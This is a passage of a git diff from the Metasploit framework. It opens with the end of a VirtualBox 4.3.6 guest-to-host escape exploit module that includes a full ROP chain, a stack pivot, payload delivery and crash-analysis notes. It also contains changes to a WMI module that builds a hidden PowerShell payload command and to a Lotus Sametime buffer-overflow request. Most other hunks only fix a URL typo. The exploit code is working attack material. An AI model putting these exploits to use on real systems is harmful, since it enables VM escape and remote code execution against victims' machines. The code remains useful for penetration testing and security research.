4] = [pid].pack("V") + + result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg) + + result + end + + def set_version + msg = "\x00" * SET_VERSION_MSG_SIZE + + msg[0, 4] = [VERR_WRONG_ORDER].pack("V") + msg[4, 4] = [@client_id].pack("V") # u32ClientID + msg[8, 4] = [SHCRGL_GUEST_FN_SET_VERSION].pack("V") + msg[12, 4] = [SHCRGL_CPARMS_SET_VERSION].pack("V") + msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V") + msg[20, 4] = [CR_PROTOCOL_VERSION_MAJOR].pack("V") + msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V") + msg[32, 4] = [CR_PROTOCOL_VERSION_MINOR].pack("V") + + result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg) + + result + end + + def trigger(buff_addr, buff_length) + msg = "\x00" * CALL_EA_MSG_SIZE + + msg[4, 4] = [@client_id].pack("V") # u32ClientID + msg[8, 4] = [SHCRGL_GUEST_FN_INJECT].pack("V") + msg[12, 4] = [SHCRGL_CPARMS_INJECT].pack("V") + msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V") + msg[20, 4] = [@client_id].pack("V") # u32ClientID + msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR].pack("V") + msg[32, 4] = [buff_length].pack("V") # size_of(buf) + msg[36, 4] = [buff_addr].pack("V") # (buf) + + result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg) + + result + end + + def stack_adjustment + pivot = "\x65\x8b\x04\x25\x10\x00\x00\x00" # "mov eax,dword ptr gs:[10h]" # Get Stack Bottom from TEB + pivot << "\x89\xc4" # mov esp, eax # Store stack bottom in esp + pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # Plus a little offset... + + pivot + end + + def target_virtualbox_436_win7_64(message_id) + opcodes = [0xFF, 0xea, 0x02, 0xf7] + + opcodes_hdr = [ + 0x77474c01, # type CR_MESSAGE_OPCODES + 0x8899, # conn_id + opcodes.length # numOpcodes + ] + + if message_id == 2 + # Message used to achieve Code execution + # See at the end of the module for a better description of the ROP Chain, + # or even better, read: http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php + # All gadgets from VBoxREM.dll + opcodes_data = [0x8, 0x30, 0x331].pack("V*") + + opcodes_data << [0x6a68599a].pack("Q<") # Gadget 2 # pop rdx # xor ecx,dword ptr [rax] # add cl,cl # movzx eax,al # ret + opcodes_data << [112].pack("Q<") # RDX + opcodes_data << [0x6a70a560].pack("Q<") # Gadget 3 # lea rax,[rsp+8] # ret + opcodes_data << [0x6a692b1c].pack("Q<") # Gadget 4 # lea rax,[rdx+rax] # ret + opcodes_data << [0x6a6931d6].pack("Q<") # Gadget 5 # add dword ptr [rax],eax # add cl,cl # ret + opcodes_data << [0x6a68124e].pack("Q<") # Gadget 6 # pop r12 # ret + opcodes_data << [0x6A70E822].pack("Q<") # R12 := ptr to .data in VBoxREM.dll (4th argument lpflOldProtect) + opcodes_data << [0x6a70927d].pack("Q<") # Gadget 8 # mov r9,r12 # mov r8d,dword ptr [rsp+8Ch] # mov rdx,qword ptr [rsp+68h] # mov rdx,qword ptr [rsp+68h] # call rbp + opcodes_data << Rex::Text.pattern_create(80) + opcodes_data << [0].pack("Q<") # 1st arg (lpAddress) # chain will store stack address here + opcodes_data << Rex::Text.pattern_create(104 - 80 - 8) + opcodes_data << [0x2000].pack("Q<") # 2nd arg (dwSize) + opcodes_data << Rex::Text.pattern_create(140 - 104 - 8) + opcodes_data << [0x40].pack("V") # 3rd arg (flNewProtect) + opcodes_data << Rex::Text.pattern_create(252 - 4 - 140 - 64) + opcodes_data << [0x6A70BB20].pack("V") # ptr to jmp VirtualProtect instr. + opcodes_data << "A" * 8 + opcodes_data << [0x6a70a560].pack("Q<") # Gadget 9 + opcodes_data << [0x6a6c9d3d].pack("Q<") # Gadget 10 + opcodes_data << "\xe9\x5b\x02\x00\x00" # jmp $+608 + opcodes_data << "A" * (624 - 24 - 5) + opcodes_data << [0x6a682a2a].pack("Q<") # Gadget 1 # xchg eax, esp # ret # stack pivot + opcodes_data << stack_adjustment + opcodes_data << payload.encoded + opcodes_data << Rex::Text.pattern_create(8196 - opcodes_data.length) + else + # Message used to corrupt head_spu + # 0x2a9 => offset to head_spu in VBoxSharedCrOpenGL.dll .data + # 8196 => On my tests, this data size allows to keep the memory + # not reused until the second packet arrives. The second packet, + # of course, must have 8196 bytes length too. So this memory is + # reused and code execution can be accomplished. + opcodes_data = [0x8, 0x30, 0x331, 0x2a9].pack("V*") + opcodes_data << "B" * (8196 - opcodes_data.length) + end + + msg = opcodes_hdr.pack("V*") + opcodes.pack("C*") + opcodes_data + + msg + end + + def send_opcodes_msg(process, message_id) + msg = self.send(target[:messages], message_id) + + mem = process.memory.allocate(msg.length + (msg.length % 1024)) + + process.memory.write(mem, msg) + + trigger(mem, msg.length) + end + + def check + handle = open_device + if handle.nil? + return Exploit::CheckCode::Safe + end + session.railgun.kernel32.CloseHandle(handle) + + Exploit::CheckCode::Detected + end + + def exploit + unless self.respond_to?(target[:messages]) + print_error("Invalid target specified: no messages callback function defined") + return + end + + print_status("Opening device...") + @handle = open_device + if @handle.nil? + fail_with(Failure::NoTarget, "#{DEVICE} device not found") + else + print_good("#{DEVICE} found, exploiting...") + end + + print_status("Connecting to the service...") + @client_id = connect + if @client_id.nil? + fail_with(Failure::Unknown, "Connect operation failed") + end + + print_good("Client ID #{@client_id}") + + print_status("Calling SET_VERSION...") + result = set_version + if result.nil? + fail_with(Failure::Unknown, "Failed to SET_VERSION") + end + + this_pid = session.sys.process.getpid + print_status("Calling SET_PID...") + result = set_pid(this_pid) + if result.nil? + fail_with(Failure::Unknown, "Failed to SET_PID") + end + + this_proc = session.sys.process.open + print_status("Sending First 0xEA Opcode Message to control head_spu...") + result = send_opcodes_msg(this_proc, 1) + if result.nil? + fail_with(Failure::Unknown, "Failed to control heap_spu...") + end + + print_status("Sending Second 0xEA Opcode Message to execute payload...") + @old_timeout = session.response_timeout + session.response_timeout = 5 + begin + send_opcodes_msg(this_proc, 2) + rescue Rex::TimeoutError + vprint_status("Expected timeout in case of successful exploitation") + end + end + + def cleanup + unless @old_timeout.nil? + session.response_timeout = @old_timeout + end + + if session_created? + # Unless we add CoE there is nothing to do + return + end + + unless @client_id.nil? + print_status("Disconnecting from the service...") + disconnect + end + + unless @handle.nil? + print_status("Closing the device...") + session.railgun.kernel32.CloseHandle(@handle) + end + end + +end + +=begin + +* VirtualBox 4.3.6 / Windows 7 SP1 64 bits + +Crash after second message: + +0:013> dd rax +00000000`0e99bd44 41306141 61413161 33614132 41346141 +00000000`0e99bd54 61413561 37614136 41386141 62413961 +00000000`0e99bd64 31624130 41326241 62413362 35624134 +00000000`0e99bd74 41366241 62413762 39624138 41306341 +00000000`0e99bd84 63413163 33634132 41346341 63413563 +00000000`0e99bd94 37634136 41386341 64413963 31644130 +00000000`0e99bda4 41326441 64413364 35644134 41366441 +00000000`0e99bdb4 64413764 39644138 41306541 65413165 +0:013> r +rax=000000000e99bd44 rbx=0000000000000001 rcx=000007fef131e8ba +rdx=000000006a72fb62 rsi=000000000e5531f0 rdi=0000000000000000 +rip=000007fef12797f8 rsp=0000000004b5f620 rbp=0000000041424344 << already controlled... + r8=0000000000000001 r9=00000000000005c0 r10=0000000000000000 +r11=0000000000000246 r12=0000000000000000 r13=00000000ffffffff +r14=000007fef1f90000 r15=0000000002f6e280 +iopl=0 nv up ei pl nz na po nc +cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +VBoxSharedCrOpenGL!crServerAddNewClient+0x208: +000007fe`f12797f8 ff9070030000 call qword ptr [rax+370h] ds:00000000`0e99c0b4=7641397541387541 + +Gadget 1: Stack Pivot # 0x6a682a2a + + xchg eax,esp 94 + ret c3 + +Gadget 2: Control RDX value # 0x6a68599a + + pop rdx 5a + xor ecx,dword ptr [rax] 33 08 + add cl,cl 00 c9 + movzx eax,al 0f b6 c0 + ret c3 + +Gadget 3: Store ptr to RSP in RAX # 0x6a70a560 + + lea rax,[rsp+8] 48 8d 44 24 08 + ret c3 + +Gadget 4: Store ptr to RSP + RDX offset (controlled) in RAX # 0x6a692b1c + + lea rax,[rdx+rax] 48 8d 04 02 + ret c3 + +Gadget 5: Write Stack Address (EAX) to the stack # 0x6a6931d6 + + add dword ptr [rax],eax 01 00 + add cl,cl 00 c9 + ret c3 + +Gadget 6: Control R12 # 0x6a68124e + +pop r12 +ret + +Gadget 7: Recover VirtualProtect arguments from the stack and call it (ebp) # 0x6a70927d + + mov r9,r12 4d 89 e1 + mov r8d,dword ptr [rsp+8Ch] 44 8b 84 24 8c 00 00 00 + mov rdx,qword ptr [rsp+68h] 48 8b 54 24 68 + mov rcx,qword ptr [rsp+50h] 48 8b 4c 24 50 + call rbp ff d5 + +Gadget 8: After VirtualProtect, get pointer to the shellcode in the # 0x6a70a560 + + lea rax, [rsp+8] 48 8d 44 24 08 + ret c3 + + Gadget 9: Push the pointer and provide control to shellcode # 0x6a6c9d3d + + push rax 50 + adc cl,ch 10 e9 + ret c3 + +=end diff --git a/modules/exploits/windows/local/vss_persistence.rb b/modules/exploits/windows/local/vss_persistence.rb index 4366e6b6a0..33073fca2e 100644 --- a/modules/exploits/windows/local/vss_persistence.rb +++ b/modules/exploits/windows/local/vss_persistence.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb index c7b36319b2..6e40e73e87 100644 --- a/modules/exploits/windows/local/wmi.rb +++ b/modules/exploits/windows/local/wmi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -49,10 +49,9 @@ class Metasploit3 < Msf::Exploit::Local 'DisclosureDate' => 'Jan 01 1999', 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => + 'Targets' => [ - [ 'Windows x86', { 'Arch' => ARCH_X86 } ], - [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + [ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X86_64] } ], ], 'DefaultTarget' => 0 )) @@ -79,9 +78,14 @@ class Metasploit3 < Msf::Exploit::Local def run_host(server) # Get the PSH Payload and split it into bitesize chunks # 1024 appears to be the max value allowed in env vars - psh = cmd_psh_payload(payload.encoded).gsub("\r\n","") - psh = psh[psh.index("$si")..psh.length-1] - chunks = split_code(psh, 1024) + psh = cmd_psh_payload(payload.encoded, + payload_instance.arch.first, + { + :remove_comspec => true, + :encode_inner_payload => true, + :use_single_quotes => true + }) + chunks = split_code(psh, 1000) begin print_status("[#{server}] Storing payload in environment variables") @@ -99,7 +103,11 @@ class Metasploit3 < Msf::Exploit::Local end x = rand_text_alpha(rand(3)+3) - exec_cmd = "powershell.exe -nop -w hidden -c $#{x} = ''" + exec_cmd = generate_psh_command_line({ + :noprofile => true, + :windowstyle => 'hidden', + :command => "$#{x}=''" + }) env_vars.each do |env| exec_cmd << "+$env:#{env}" end @@ -126,6 +134,8 @@ class Metasploit3 < Msf::Exploit::Local rescue Rex::Post::Meterpreter::RequestError => e print_error("[#{server}] Error moving on... #{e}") return false + ensure + Rex::sleep(2) end end diff --git a/modules/exploits/windows/lotus/domino_http_accept_language.rb b/modules/exploits/windows/lotus/domino_http_accept_language.rb index 0396d90073..c806bb71d6 100644 --- a/modules/exploits/windows/lotus/domino_http_accept_language.rb +++ b/modules/exploits/windows/lotus/domino_http_accept_language.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb index b29329933f..f5876e4d5e 100644 --- a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb +++ b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/lotus/domino_sametime_stmux.rb b/modules/exploits/windows/lotus/domino_sametime_stmux.rb index 602110d628..f86f06cf09 100644 --- a/modules/exploits/windows/lotus/domino_sametime_stmux.rb +++ b/modules/exploits/windows/lotus/domino_sametime_stmux.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -63,26 +63,27 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - req = "HEAD / HTTP/1.0\r\n\r\n" - req << "User-Agent: Sametime Community Agent\r\n" + req = "HEAD / HTTP/1.1\r\n" req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n" + req << "User-Agent: Sametime Community Agent\r\n\r\n" + sock.put(req) - res = sock.get_once(-1,3) || '' + res = sock.get_once || '' disconnect - if (res =~/Lotus-Domino/) + if (res.to_s =~/Lotus-Domino/) connect - req = "GET /CommunityCBR HTTP/1.0\r\n\r\n" - req << "User-Agent: Sametime Community Agent\r\n" + req = "GET /CommunityCBR HTTP/1.1\r\n" req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n" + req << "User-Agent: Sametime Community Agent\r\n\r\n" sock.put(req) - res = sock.get_once(-1,3) || '' + res = sock.get_once || '' disconnect - if (res =~/200 OK/) + if (res.to_s =~ /200 OK/) return Exploit::CheckCode::Detected end end @@ -106,8 +107,8 @@ class Metasploit3 < Msf::Exploit::Remote path = pad1 + jmp + seh + pad2 + popebx + popad + esp req = "POST /CommunityCBR/CC.39.#{path}/\r\n" - req << "User-Agent: Sametime Community Agent\r\n" req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n" + req << "User-Agent: Sametime Community Agent\r\n" req << "Content-Length: #{payload.encoded.length}\r\n" req << "Connection: Close\r\n" req << "Cache-Control: no-cache\r\n\r\n" diff --git a/modules/exploits/windows/lotus/lotusnotes_lzh.rb b/modules/exploits/windows/lotus/lotusnotes_lzh.rb index 2c205af5c5..95cc18d40f 100644 --- a/modules/exploits/windows/lotus/lotusnotes_lzh.rb +++ b/modules/exploits/windows/lotus/lotusnotes_lzh.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/lpd/hummingbird_exceed.rb b/modules/exploits/windows/lpd/hummingbird_exceed.rb index 96452c1b5e..2696dfd9cf 100644 --- a/modules/exploits/windows/lpd/hummingbird_exceed.rb +++ b/modules/exploits/windows/lpd/hummingbird_exceed.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/lpd/niprint.rb b/modules/exploits/windows/lpd/niprint.rb index 4c31120c8e..56f7267fc3 100644 --- a/modules/exploits/windows/lpd/niprint.rb +++ b/modules/exploits/windows/lpd/niprint.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/lpd/saplpd.rb b/modules/exploits/windows/lpd/saplpd.rb index a89025aa19..c41eccb25d 100644 --- a/modules/exploits/windows/lpd/saplpd.rb +++ b/modules/exploits/windows/lpd/saplpd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/lpd/wincomlpd_admin.rb b/modules/exploits/windows/lpd/wincomlpd_admin.rb index fd1a854406..ee2d364df6 100644 --- a/modules/exploits/windows/lpd/wincomlpd_admin.rb +++ b/modules/exploits/windows/lpd/wincomlpd_admin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/actfax_raw_server_bof.rb b/modules/exploits/windows/misc/actfax_raw_server_bof.rb index 18cd325a60..2cf6fd756e 100644 --- a/modules/exploits/windows/misc/actfax_raw_server_bof.rb +++ b/modules/exploits/windows/misc/actfax_raw_server_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/agentxpp_receive_agentx.rb b/modules/exploits/windows/misc/agentxpp_receive_agentx.rb index bed7521e19..8fcdb9e6d8 100644 --- a/modules/exploits/windows/misc/agentxpp_receive_agentx.rb +++ b/modules/exploits/windows/misc/agentxpp_receive_agentx.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/allmediaserver_bof.rb b/modules/exploits/windows/misc/allmediaserver_bof.rb index f9a4f25e19..b7cad7c88a 100644 --- a/modules/exploits/windows/misc/allmediaserver_bof.rb +++ b/modules/exploits/windows/misc/allmediaserver_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/altiris_ds_sqli.rb b/modules/exploits/windows/misc/altiris_ds_sqli.rb index 7d62ff1bee..1bff0c4af0 100644 --- a/modules/exploits/windows/misc/altiris_ds_sqli.rb +++ b/modules/exploits/windows/misc/altiris_ds_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Tcp def initialize(info = {}) @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote OptBool.new('DISABLE_SECURITY', [ true, "Exploit SQLi to execute wc_upd_disable_security and disable Console Authentication", false ]), OptBool.new('ENABLE_SECURITY', [ true, "Enable Local Deployment Console Authentication", false ]) ], self.class) - + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def execute_command(cmd, opts = {}) @@ -159,7 +159,7 @@ Processor-Speed=#{processor_speed} # CmdStagerVBS was tested here as well, however delivery took roughly # 30 minutes and required sending almost 350 notification messages. # size constraint requirement for SQLi is: linemax => 393 - execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\'}) + execute_cmdstager({:delay => 1.5, :temp => '%TEMP%\\', :flavor => :tftp}) end def on_new_session(client) diff --git a/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb b/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb index bf65571f25..dfa2e33ca2 100644 --- a/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb +++ b/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb b/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb index 1492909538..5f4aaf27a6 100644 --- a/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb +++ b/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb b/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb index 3d6a60220f..1cbbe3b166 100644 --- a/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb +++ b/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/avidphoneticindexer.rb b/modules/exploits/windows/misc/avidphoneticindexer.rb index 8a4f351107..d61bc8c168 100644 --- a/modules/exploits/windows/misc/avidphoneticindexer.rb +++ b/modules/exploits/windows/misc/avidphoneticindexer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/bakbone_netvault_heap.rb b/modules/exploits/windows/misc/bakbone_netvault_heap.rb index b58b65aea6..f7ef75924e 100644 --- a/modules/exploits/windows/misc/bakbone_netvault_heap.rb +++ b/modules/exploits/windows/misc/bakbone_netvault_heap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/bcaaa_bof.rb b/modules/exploits/windows/misc/bcaaa_bof.rb index b2519d10fa..6647a2e608 100644 --- a/modules/exploits/windows/misc/bcaaa_bof.rb +++ b/modules/exploits/windows/misc/bcaaa_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/bigant_server.rb b/modules/exploits/windows/misc/bigant_server.rb index 7b1583ddb1..0484d36b25 100644 --- a/modules/exploits/windows/misc/bigant_server.rb +++ b/modules/exploits/windows/misc/bigant_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/bigant_server_250.rb b/modules/exploits/windows/misc/bigant_server_250.rb index 27d4b1a106..4ba2760150 100644 --- a/modules/exploits/windows/misc/bigant_server_250.rb +++ b/modules/exploits/windows/misc/bigant_server_250.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb index c3da589edd..c064c4be86 100644 --- a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb +++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb index 592fad6a92..3da3ebbf8c 100644 --- a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb +++ b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/bigant_server_usv.rb b/modules/exploits/windows/misc/bigant_server_usv.rb index 833ac019d6..9db3b25a2f 100644 --- a/modules/exploits/windows/misc/bigant_server_usv.rb +++ b/modules/exploits/windows/misc/bigant_server_usv.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/bomberclone_overflow.rb b/modules/exploits/windows/misc/bomberclone_overflow.rb index bcf6fdabd5..d33320a4dc 100644 --- a/modules/exploits/windows/misc/bomberclone_overflow.rb +++ b/modules/exploits/windows/misc/bomberclone_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Trying #{target.name} using lstrcpyA address at #{"0x%.8x" % target.ret }...") udp_sock.put(request) - udp_sock.get + udp_sock.get(5) handler(udp_sock) disconnect_udp diff --git a/modules/exploits/windows/misc/bopup_comm.rb b/modules/exploits/windows/misc/bopup_comm.rb index 601b3c4030..2f5d35ae39 100644 --- a/modules/exploits/windows/misc/bopup_comm.rb +++ b/modules/exploits/windows/misc/bopup_comm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/borland_interbase.rb b/modules/exploits/windows/misc/borland_interbase.rb index bb6f0ccd35..4ce8b89db0 100644 --- a/modules/exploits/windows/misc/borland_interbase.rb +++ b/modules/exploits/windows/misc/borland_interbase.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/borland_starteam.rb b/modules/exploits/windows/misc/borland_starteam.rb index 4f23e774b7..e354c56925 100644 --- a/modules/exploits/windows/misc/borland_starteam.rb +++ b/modules/exploits/windows/misc/borland_starteam.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/citrix_streamprocess.rb b/modules/exploits/windows/misc/citrix_streamprocess.rb index e01e9f6175..4ddb6beb1f 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb index b857ee1508..f64248b583 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb index 81fdea02af..31ed2b4605 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb index f897674a24..66d3145b80 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb index 1b6bb06d83..2d36e4ee08 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/doubletake.rb b/modules/exploits/windows/misc/doubletake.rb index 87d24c7dc5..9130d3ad0a 100644 --- a/modules/exploits/windows/misc/doubletake.rb +++ b/modules/exploits/windows/misc/doubletake.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/eiqnetworks_esa.rb b/modules/exploits/windows/misc/eiqnetworks_esa.rb index e22d345013..c5cc523440 100644 --- a/modules/exploits/windows/misc/eiqnetworks_esa.rb +++ b/modules/exploits/windows/misc/eiqnetworks_esa.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## 